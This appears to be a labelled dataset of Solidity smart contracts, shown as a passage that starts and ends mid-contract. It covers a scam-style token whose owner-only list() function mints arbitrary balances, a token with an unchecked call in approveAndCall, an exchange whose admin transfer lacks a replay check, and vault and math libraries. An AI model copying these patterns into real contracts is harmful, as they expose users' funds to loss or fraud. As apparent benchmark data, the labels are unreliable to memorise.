x := mload(add(bs, add(0x10, 0)))
}
return x;
}
function isAccountValid(address subject) pure public returns (bool result) {
return uint256(sliceUint(abi.encodePacked(subject))) % 100 == 0;
}
function onlyByHundred() view public returns (bool result) {
require(isAccountValid(msg.sender) == true, "Only one in a hundred accounts should be able to do this");
return true;
}
constructor() {
owner = msg.sender;
uniPair = pairFor(uniFactory, wETH, address(this));
allowance[address(this)][uniRouter] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
IUniswapV2Router02(uniRouter).addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 1 | 2,152 |
pragma solidity ^0.4.25;
contract Token {
function transfer(address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
}
contract NescrowExchangeService {
address owner = msg.sender;
uint256 public feeRateLimit = 200;
uint256 public takerFeeRate = 0;
uint256 public makerFeeRate = 0;
address public feeAddress;
mapping (address => bool) public admins;
mapping (bytes32 => uint256) public orderFills;
mapping (bytes32 => uint256) public orderPaymentFills;
mapping (bytes32 => bool) public withdrawn;
mapping (bytes32 => bool) public transfers;
mapping (address => mapping (address => uint256)) public balances;
mapping (address => uint256) public tradesLocked;
mapping (address => uint256) public disableFees;
mapping (address => uint256) public tokenDecimals;
mapping (address => bool) public tokenRegistered;
struct EIP712Domain {
string name;
string version;
uint256 chainId;
address verifyingContract;
}
event OrderPayment(address indexed user, address spendToken, uint256 spendAmount, address indexed merchant, address merchantReceiveToken, uint256 merchantReceiveAmount);
event TradesLock(address user);
event TradesUnlock(address user);
modifier onlyOwner {
assert(msg.sender == owner);
_;
}
modifier onlyAdmin {
require(msg.sender == owner || admins[msg.sender]);
_;
}
bytes32 constant EIP712DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
bytes32 constant ORDER_TYPEHASH = keccak256("Order(address fromToken,uint256 fromAmount,address toToken,uint256 toAmount,uint256 autoWithdraw,uint256 expires,uint256 nonce)");
bytes32 constant ORDER_WITH_TIPS_TYPEHASH = keccak256("OrderWithTips(address fromToken,uint256 fromAmount,address toToken,uint256 toAmount,uint256 autoWithdraw,uint256 expires,uint256 nonce,uint256 makerTips,uint256 takerTips)");
bytes32 constant ORDER_PAYMENT_TYPEHASH = keccak256("OrderPayment(address spendToken,uint256 spendAmount,address merchantReceiveToken,uint256 merchantReceiveAmount,address merchant,uint256 expires,uint256 nonce)");
bytes32 constant WITHDRAWAL_TYPEHASH = keccak256("Withdrawal(address withdrawToken,uint256 amount,uint256 nonce)");
bytes32 constant TIPS_TYPEHASH = keccak256("Tips(address tipsToken,uint256 amount,uint256 nonce)");
bytes32 constant TRANSFER_TYPEHASH = keccak256("Transfer(address transferToken,address to,uint256 amount,uint256 nonce)");
bytes32 DOMAIN_SEPARATOR;
function domainHash(EIP712Domain eip712Domain) internal pure returns (bytes32) {
return keccak256(abi.encode(
EIP712DOMAIN_TYPEHASH,
keccak256(bytes(eip712Domain.name)),
keccak256(bytes(eip712Domain.version)),
eip712Domain.chainId,
eip712Domain.verifyingContract
));
}
constructor() public {
DOMAIN_SEPARATOR = domainHash(EIP712Domain({
name: "Nescrow Exchange",
version: '2',
chainId: 1,
verifyingContract: this
}));
tokenRegistered[0x0] = true;
tokenDecimals[0x0] = 18;
}
function setOwner(address newOwner) external onlyOwner {
owner = newOwner;
}
function getOwner() public view returns (address out) {
return owner;
}
function setAdmin(address admin, bool isAdmin) external onlyOwner {
admins[admin] = isAdmin;
}
function deposit() external payable {
uint amount = safeDiv(msg.value, 10**10);
require(amount > 0);
increaseBalance(msg.sender, address(0), amount);
}
function depositToken(address token, uint256 amount) external {
require(amount > 0);
require(token != address(0) && tokenRegistered[token]);
require(safeTransferFrom(token, msg.sender, this, toTokenAmount(token, amount)));
increaseBalance(msg.sender, token, amount);
}
function depositTokenByAdmin(address user, address token, uint256 amount)
external onlyAdmin {
require(amount > 0);
require(token != address(0) && tokenRegistered[token]);
require(safeTransferFrom(token, user, this, toTokenAmount(token, amount)));
increaseBalance(user, token, amount);
}
function sendTips() external payable {
uint amount = safeDiv(msg.value, 10**10);
require(amount > 0);
increaseBalance(feeAddress, address(0), amount);
}
function transferTips(address token, uint256 amount, address fromUser, uint nonce, uint8 v, bytes32 r, bytes32 s)
external onlyAdmin {
require(amount > 0);
bytes32 hash = keccak256(abi.encode(TIPS_TYPEHASH, token, amount, nonce));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hash)), v, r, s) == fromUser);
require(!transfers[hash]);
transfers[hash] = true;
require(reduceBalance(fromUser, token, amount));
increaseBalance(feeAddress, token, amount);
}
function transfer(address token, uint256 amount, address fromUser, address toUser, uint nonce, uint8 v, bytes32 r, bytes32 s)
external onlyAdmin {
require(amount > 0);
bytes32 hash = keccak256(abi.encode(TRANSFER_TYPEHASH, token, toUser, amount, nonce));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hash)), v, r, s) == fromUser);
transfers[hash] = true;
require(reduceBalance(fromUser, token, amount));
increaseBalance(toUser, token, amount);
}
function withdrawByAdmin(address token, uint256 amount, address user, uint nonce, uint8 v, bytes32 r, bytes32 s)
external onlyAdmin {
require(amount > 0);
bytes32 hash = keccak256(abi.encode(WITHDRAWAL_TYPEHASH, token, amount, nonce));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hash)), v, r, s) == user);
require(!withdrawn[hash]);
withdrawn[hash] = true;
require(reduceBalance(user, token, amount));
require(sendToUser(user, token, amount));
}
function withdraw(address token, uint256 amount) external {
require(amount > 0);
require(tradesLocked[msg.sender] > block.number);
require(reduceBalance(msg.sender, token, amount));
require(sendToUser(msg.sender, token, amount));
}
function reduceBalance(address user, address token, uint256 amount) private returns(bool) {
if (balances[token][user] < amount) return false;
balances[token][user] = safeSub(balances[token][user], amount);
return true;
}
function increaseBalanceOrWithdraw(address user, address token, uint256 amount, uint256 _withdraw) private returns(bool) {
if (_withdraw == 1) {
return sendToUser(user, token, amount);
} else {
return increaseBalance(user, token, amount);
}
}
function increaseBalance(address user, address token, uint256 amount) private returns(bool) {
balances[token][user] = safeAdd(balances[token][user], amount);
return true;
}
function sendToUser(address user, address token, uint256 amount) private returns(bool) {
if (token == address(0)) {
return user.send(toTokenAmount(address(0), amount));
} else {
return safeTransfer(token, user, toTokenAmount(token, amount));
}
}
function toTokenAmount(address token, uint256 amount) private view returns (uint256) {
require(tokenRegistered[token]);
uint256 decimals = token == address(0)
? 18
: tokenDecimals[token];
if (decimals == 8) {
return amount;
}
if (decimals > 8) {
return safeMul(amount, 10**(decimals - 8));
} else {
return safeDiv(amount, 10**(8 - decimals));
}
}
function setTakerFeeRate(uint256 feeRate) external onlyAdmin {
require(feeRate == 0 || feeRate >= feeRateLimit);
takerFeeRate = feeRate;
}
function setMakerFeeRate(uint256 feeRate) external onlyAdmin {
require(feeRate == 0 || feeRate >= feeRateLimit);
makerFeeRate = feeRate;
}
function setFeeAddress(address _feeAddress) external onlyAdmin {
require(_feeAddress != address(0));
feeAddress = _feeAddress;
}
function disableFeesForUser(address user, uint256 timestamp) external onlyAdmin {
require(timestamp > block.timestamp);
disableFees[user] = timestamp;
}
function registerToken(address token, uint256 decimals) external onlyAdmin {
require(!tokenRegistered[token]);
tokenRegistered[token] = true;
tokenDecimals[token] = decimals;
}
function tradesLock(address user) external {
require(user == msg.sender);
tradesLocked[user] = block.number + 20000;
emit TradesLock(user);
}
function tradesUnlock(address user) external {
require(user == msg.sender);
tradesLocked[user] = 0;
emit TradesUnlock(user);
}
function isUserMakerFeeEnabled(address user, uint256 disableFee) private view returns(bool) {
return disableFee == 0 && makerFeeRate > 0 && disableFees[user] < block.timestamp;
}
function isUserTakerFeeEnabled(address user, uint256 disableFee) private view returns(bool) {
return disableFee == 0 && takerFeeRate > 0 && disableFees[user] < block.timestamp;
}
function calculateRate(uint256 offerAmount, uint256 wantAmount) private pure returns(uint256) {
return safeDiv(safeMul(10**8, wantAmount), offerAmount);
}
function trade(
uint256[10] amounts,
address[4] addresses,
uint256[6] values,
bytes32[4] rs
) external onlyAdmin {
require(tradesLocked[addresses[0]] < block.number);
require(block.timestamp <= amounts[2]);
bytes32 orderHash = keccak256(abi.encode(ORDER_TYPEHASH, addresses[2], amounts[0], addresses[3], amounts[1], values[2], amounts[2], amounts[3]));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, orderHash)), uint8(values[0]), rs[0], rs[1]) == addresses[0]);
orderFills[orderHash] = safeAdd(orderFills[orderHash], amounts[8]);
require(orderFills[orderHash] <= amounts[0]);
require(tradesLocked[addresses[1]] < block.number);
require(block.timestamp <= amounts[6]);
bytes32 orderHash2 = keccak256(abi.encode(ORDER_TYPEHASH, addresses[3], amounts[4], addresses[2], amounts[5], values[3], amounts[6], amounts[7]));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, orderHash2)), uint8(values[1]), rs[2], rs[3]) == addresses[1]);
uint256 makerRate = calculateRate(amounts[0], amounts[1]);
uint256 takerRate = calculateRate(amounts[5], amounts[4]);
require(makerRate <= takerRate);
require(makerRate == calculateRate(amounts[8], amounts[9]));
orderFills[orderHash2] = safeAdd(orderFills[orderHash2], amounts[9]);
require(orderFills[orderHash2] <= amounts[4]);
require(reduceBalance(addresses[0], addresses[2], amounts[8]));
require(reduceBalance(addresses[1], addresses[3], amounts[9]));
if (isUserMakerFeeEnabled(addresses[0], values[4])) {
require(increaseBalanceOrWithdraw(addresses[0], addresses[3], safeSub(amounts[9], safeDiv(amounts[9], makerFeeRate)), values[2]));
increaseBalance(feeAddress, addresses[3], safeDiv(amounts[9], makerFeeRate));
} else {
require(increaseBalanceOrWithdraw(addresses[0], addresses[3], amounts[9], values[2]));
}
if (isUserTakerFeeEnabled(addresses[1], values[5])) {
require(increaseBalanceOrWithdraw(addresses[1], addresses[2], safeSub(amounts[8], safeDiv(amounts[8], takerFeeRate)), values[3]));
increaseBalance(feeAddress, addresses[2], safeDiv(amounts[8], takerFeeRate));
} else {
require(increaseBalanceOrWithdraw(addresses[1], addresses[2], amounts[8], values[3]));
}
}
function exchangeAndPay(
uint256[10] amounts,
address[5] addresses,
uint256[4] values,
bytes32[4] rs
) external onlyAdmin {
require(tradesLocked[addresses[0]] < block.number);
require(block.timestamp <= amounts[2]);
bytes32 orderHash = keccak256(abi.encode(ORDER_TYPEHASH, addresses[2], amounts[0], addresses[3], amounts[1], values[3], amounts[2], amounts[3]));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, orderHash)), uint8(values[0]), rs[0], rs[1]) == addresses[0]);
orderFills[orderHash] = safeAdd(orderFills[orderHash], amounts[8]);
require(orderFills[orderHash] <= amounts[0]);
require(tradesLocked[addresses[1]] < block.number);
require(block.timestamp <= amounts[6]);
bytes32 orderHash2 = keccak256(abi.encode(ORDER_PAYMENT_TYPEHASH, addresses[3], amounts[4], addresses[2], amounts[5], addresses[4], amounts[6], amounts[7]));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, orderHash2)), uint8(values[1]), rs[2], rs[3]) == addresses[1]);
uint256 makerRate = calculateRate(amounts[0], amounts[1]);
uint256 takerRate = calculateRate(amounts[5], amounts[4]);
require(makerRate <= takerRate);
require(makerRate == calculateRate(amounts[8], amounts[9]));
orderPaymentFills[orderHash2] = safeAdd(orderPaymentFills[orderHash2], amounts[9]);
require(orderPaymentFills[orderHash2] <= amounts[4]);
require(reduceBalance(addresses[0], addresses[2], amounts[8]));
require(reduceBalance(addresses[1], addresses[3], amounts[9]));
require(increaseBalanceOrWithdraw(addresses[0], addresses[3], amounts[9], values[2]));
require(increaseBalanceOrWithdraw(addresses[4], addresses[2], amounts[8], values[3]));
emit OrderPayment(addresses[1], addresses[1], amounts[9], addresses[4], addresses[2], amounts[2]);
}
function tradeWithTips(
uint256[10] amounts,
address[4] addresses,
uint256[10] values,
bytes32[4] rs
) external onlyAdmin {
require(tradesLocked[addresses[0]] < block.number);
require(block.timestamp <= amounts[2]);
bytes32 orderHash = values[4] > 0 || values[5] > 0
? keccak256(abi.encode(ORDER_WITH_TIPS_TYPEHASH, addresses[2], amounts[0], addresses[3], amounts[1], values[2], amounts[2], amounts[3], values[4], values[5]))
: keccak256(abi.encode(ORDER_TYPEHASH, addresses[2], amounts[0], addresses[3], amounts[1], values[2], amounts[2], amounts[3]));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, orderHash)), uint8(values[0]), rs[0], rs[1]) == addresses[0]);
orderFills[orderHash] = safeAdd(orderFills[orderHash], amounts[8]);
require(orderFills[orderHash] <= amounts[0]);
require(tradesLocked[addresses[1]] < block.number);
require(block.timestamp <= amounts[6]);
bytes32 orderHash2 = values[6] > 0 || values[7] > 0
? keccak256(abi.encode(ORDER_WITH_TIPS_TYPEHASH, addresses[3], amounts[4], addresses[2], amounts[5], values[3], amounts[6], amounts[7], values[6], values[7]))
: keccak256(abi.encode(ORDER_TYPEHASH, addresses[3], amounts[4], addresses[2], amounts[5], values[3], amounts[6], amounts[7]));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, orderHash2)), uint8(values[1]), rs[2], rs[3]) == addresses[1]);
uint256 makerRate = calculateRate(amounts[0], amounts[1]);
uint256 takerRate = calculateRate(amounts[5], amounts[4]);
require(makerRate <= takerRate);
require(makerRate == calculateRate(amounts[8], amounts[9]));
orderFills[orderHash2] = safeAdd(orderFills[orderHash2], amounts[9]);
require(orderFills[orderHash2] <= amounts[4]);
require(reduceBalance(addresses[0], addresses[2], amounts[8]));
require(reduceBalance(addresses[1], addresses[3], amounts[9]));
if (values[4] > 0 && !isUserMakerFeeEnabled(addresses[0], values[8])) {
increaseBalanceOrWithdraw(addresses[0], addresses[3], safeSub(amounts[9], safeDiv(amounts[9], values[4])), values[2]);
increaseBalance(feeAddress, addresses[3], safeDiv(amounts[9], values[4]));
} else if (values[4] == 0 && isUserMakerFeeEnabled(addresses[0], values[8])) {
increaseBalanceOrWithdraw(addresses[0], addresses[3], safeSub(amounts[9], safeDiv(amounts[9], makerFeeRate)), values[2]);
increaseBalance(feeAddress, addresses[3], safeDiv(amounts[9], makerFeeRate));
} else if (values[4] > 0 && isUserMakerFeeEnabled(addresses[0], values[8])) {
increaseBalanceOrWithdraw(addresses[0], addresses[3], safeSub(amounts[9], safeAdd(safeDiv(amounts[9], values[4]), safeDiv(amounts[9], makerFeeRate))), values[2]);
increaseBalance(feeAddress, addresses[3], safeAdd(safeDiv(amounts[9], values[4]), safeDiv(amounts[9], makerFeeRate)));
} else {
increaseBalanceOrWithdraw(addresses[0], addresses[3], amounts[9], values[2]);
}
if (values[7] > 0 && !isUserTakerFeeEnabled(addresses[1], values[9])) {
increaseBalanceOrWithdraw(addresses[1], addresses[2], safeSub(amounts[8], safeDiv(amounts[8], values[7])), values[3]);
increaseBalance(feeAddress, addresses[2], safeDiv(amounts[8], values[7]));
} else if (values[7] == 0 && isUserTakerFeeEnabled(addresses[1], values[9])) {
increaseBalanceOrWithdraw(addresses[1], addresses[2], safeSub(amounts[8], safeDiv(amounts[8], takerFeeRate)), values[3]);
increaseBalance(feeAddress, addresses[2], safeDiv(amounts[8], takerFeeRate));
} else if (values[7] > 0 && isUserTakerFeeEnabled(addresses[1], values[9])) {
increaseBalanceOrWithdraw(addresses[1], addresses[2], safeSub(amounts[8], safeAdd(safeDiv(amounts[8], values[7]), safeDiv(amounts[8], takerFeeRate))), values[3]);
increaseBalance(feeAddress, addresses[2], safeAdd(safeDiv(amounts[8], values[7]), safeDiv(amounts[8], takerFeeRate)));
} else {
increaseBalanceOrWithdraw(addresses[1], addresses[2], amounts[8], values[3]);
}
}
function() public payable {
revert();
}
function safeMul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function safeDiv(uint a, uint b) internal pure returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeTransfer(
address token,
address to,
uint256 value)
private
returns (bool success)
{
success = token.call(0xa9059cbb, to, value);
return checkReturnValue(success);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value)
private
returns (bool success)
{
success = token.call(0x23b872dd, from, to, value);
return checkReturnValue(success);
}
function checkReturnValue(
bool success
)
private
pure
returns (bool)
{
if (success) {
assembly {
switch returndatasize()
case 0 {
success := 1
}
case 32 {
returndatacopy(0, 0, 32)
success := mload(0)
}
default {
success := 0
}
}
}
return success;
}
} | 0 | 1,633 |
pragma solidity ^0.4.16;
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract VLADALINA is StandardToken {
function () {
throw;
}
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
function VLADALINA(
) {
balances[msg.sender] = 1000000000000;
totalSupply = 1000000000000;
name = "VLADALINA";
decimals = 6;
symbol = "VLN";
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 1 | 4,304 |
pragma solidity 0.4.24;
pragma experimental "v0.5.0";
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library Math {
function max64(uint64 _a, uint64 _b) internal pure returns (uint64) {
return _a >= _b ? _a : _b;
}
function min64(uint64 _a, uint64 _b) internal pure returns (uint64) {
return _a < _b ? _a : _b;
}
function max256(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a >= _b ? _a : _b;
}
function min256(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a < _b ? _a : _b;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract AccessControlledBase {
mapping (address => bool) public authorized;
event AccessGranted(
address who
);
event AccessRevoked(
address who
);
modifier requiresAuthorization() {
require(
authorized[msg.sender],
"AccessControlledBase#requiresAuthorization: Sender not authorized"
);
_;
}
}
contract StaticAccessControlled is AccessControlledBase, Ownable {
using SafeMath for uint256;
uint256 public GRACE_PERIOD_EXPIRATION;
constructor(
uint256 gracePeriod
)
public
Ownable()
{
GRACE_PERIOD_EXPIRATION = block.timestamp.add(gracePeriod);
}
function grantAccess(
address who
)
external
onlyOwner
{
require(
block.timestamp < GRACE_PERIOD_EXPIRATION,
"StaticAccessControlled#grantAccess: Cannot grant access after grace period"
);
emit AccessGranted(who);
authorized[who] = true;
}
}
interface GeneralERC20 {
function totalSupply(
)
external
view
returns (uint256);
function balanceOf(
address who
)
external
view
returns (uint256);
function allowance(
address owner,
address spender
)
external
view
returns (uint256);
function transfer(
address to,
uint256 value
)
external;
function transferFrom(
address from,
address to,
uint256 value
)
external;
function approve(
address spender,
uint256 value
)
external;
}
library TokenInteract {
function balanceOf(
address token,
address owner
)
internal
view
returns (uint256)
{
return GeneralERC20(token).balanceOf(owner);
}
function allowance(
address token,
address owner,
address spender
)
internal
view
returns (uint256)
{
return GeneralERC20(token).allowance(owner, spender);
}
function approve(
address token,
address spender,
uint256 amount
)
internal
{
GeneralERC20(token).approve(spender, amount);
require(
checkSuccess(),
"TokenInteract#approve: Approval failed"
);
}
function transfer(
address token,
address to,
uint256 amount
)
internal
{
address from = address(this);
if (
amount == 0
|| from == to
) {
return;
}
GeneralERC20(token).transfer(to, amount);
require(
checkSuccess(),
"TokenInteract#transfer: Transfer failed"
);
}
function transferFrom(
address token,
address from,
address to,
uint256 amount
)
internal
{
if (
amount == 0
|| from == to
) {
return;
}
GeneralERC20(token).transferFrom(from, to, amount);
require(
checkSuccess(),
"TokenInteract#transferFrom: TransferFrom failed"
);
}
function checkSuccess(
)
private
pure
returns (bool)
{
uint256 returnValue = 0;
assembly {
switch returndatasize
case 0x0 {
returnValue := 1
}
case 0x20 {
returndatacopy(0x0, 0x0, 0x20)
returnValue := mload(0x0)
}
default { }
}
return returnValue != 0;
}
}
contract TokenProxy is StaticAccessControlled {
using SafeMath for uint256;
constructor(
uint256 gracePeriod
)
public
StaticAccessControlled(gracePeriod)
{}
function transferTokens(
address token,
address from,
address to,
uint256 value
)
external
requiresAuthorization
{
TokenInteract.transferFrom(
token,
from,
to,
value
);
}
function available(
address who,
address token
)
external
view
returns (uint256)
{
return Math.min256(
TokenInteract.allowance(token, who, address(this)),
TokenInteract.balanceOf(token, who)
);
}
}
contract Vault is StaticAccessControlled
{
using SafeMath for uint256;
event ExcessTokensWithdrawn(
address indexed token,
address indexed to,
address caller
);
address public TOKEN_PROXY;
mapping (bytes32 => mapping (address => uint256)) public balances;
mapping (address => uint256) public totalBalances;
constructor(
address proxy,
uint256 gracePeriod
)
public
StaticAccessControlled(gracePeriod)
{
TOKEN_PROXY = proxy;
}
function withdrawExcessToken(
address token,
address to
)
external
onlyOwner
returns (uint256)
{
uint256 actualBalance = TokenInteract.balanceOf(token, address(this));
uint256 accountedBalance = totalBalances[token];
uint256 withdrawableBalance = actualBalance.sub(accountedBalance);
require(
withdrawableBalance != 0,
"Vault#withdrawExcessToken: Withdrawable token amount must be non-zero"
);
TokenInteract.transfer(token, to, withdrawableBalance);
emit ExcessTokensWithdrawn(token, to, msg.sender);
return withdrawableBalance;
}
function transferToVault(
bytes32 id,
address token,
address from,
uint256 amount
)
external
requiresAuthorization
{
TokenProxy(TOKEN_PROXY).transferTokens(
token,
from,
address(this),
amount
);
balances[id][token] = balances[id][token].add(amount);
totalBalances[token] = totalBalances[token].add(amount);
assert(totalBalances[token] >= balances[id][token]);
validateBalance(token);
}
function transferFromVault(
bytes32 id,
address token,
address to,
uint256 amount
)
external
requiresAuthorization
{
balances[id][token] = balances[id][token].sub(amount);
totalBalances[token] = totalBalances[token].sub(amount);
assert(totalBalances[token] >= balances[id][token]);
TokenInteract.transfer(token, to, amount);
validateBalance(token);
}
function validateBalance(
address token
)
private
view
{
assert(TokenInteract.balanceOf(token, address(this)) >= totalBalances[token]);
}
}
contract ReentrancyGuard {
uint256 private _guardCounter = 1;
modifier nonReentrant() {
uint256 localCounter = _guardCounter + 1;
_guardCounter = localCounter;
_;
require(
_guardCounter == localCounter,
"Reentrancy check failure"
);
}
}
library AddressUtils {
function isContract(address _addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
library Fraction {
struct Fraction128 {
uint128 num;
uint128 den;
}
}
library FractionMath {
using SafeMath for uint256;
using SafeMath for uint128;
function add(
Fraction.Fraction128 memory a,
Fraction.Fraction128 memory b
)
internal
pure
returns (Fraction.Fraction128 memory)
{
uint256 left = a.num.mul(b.den);
uint256 right = b.num.mul(a.den);
uint256 denominator = a.den.mul(b.den);
if (left + right < left) {
left = left.div(2);
right = right.div(2);
denominator = denominator.div(2);
}
return bound(left.add(right), denominator);
}
function sub1Over(
Fraction.Fraction128 memory a,
uint128 d
)
internal
pure
returns (Fraction.Fraction128 memory)
{
if (a.den % d == 0) {
return bound(
a.num.sub(a.den.div(d)),
a.den
);
}
return bound(
a.num.mul(d).sub(a.den),
a.den.mul(d)
);
}
function div(
Fraction.Fraction128 memory a,
uint128 d
)
internal
pure
returns (Fraction.Fraction128 memory)
{
if (a.num % d == 0) {
return bound(
a.num.div(d),
a.den
);
}
return bound(
a.num,
a.den.mul(d)
);
}
function mul(
Fraction.Fraction128 memory a,
Fraction.Fraction128 memory b
)
internal
pure
returns (Fraction.Fraction128 memory)
{
return bound(
a.num.mul(b.num),
a.den.mul(b.den)
);
}
function bound(
uint256 num,
uint256 den
)
internal
pure
returns (Fraction.Fraction128 memory)
{
uint256 max = num > den ? num : den;
uint256 first128Bits = (max >> 128);
if (first128Bits != 0) {
first128Bits += 1;
num /= first128Bits;
den /= first128Bits;
}
assert(den != 0);
assert(den < 2**128);
assert(num < 2**128);
return Fraction.Fraction128({
num: uint128(num),
den: uint128(den)
});
}
function copy(
Fraction.Fraction128 memory a
)
internal
pure
returns (Fraction.Fraction128 memory)
{
validate(a);
return Fraction.Fraction128({ num: a.num, den: a.den });
}
function validate(
Fraction.Fraction128 memory a
)
private
pure
{
assert(a.den != 0);
}
}
library Exponent {
using SafeMath for uint256;
using FractionMath for Fraction.Fraction128;
uint128 constant public MAX_NUMERATOR = 340282366920938463463374607431768211455;
uint256 constant public MAX_PRECOMPUTE_PRECISION = 32;
uint256 constant public NUM_PRECOMPUTED_INTEGERS = 32;
function exp(
Fraction.Fraction128 memory X,
uint256 precomputePrecision,
uint256 maclaurinPrecision
)
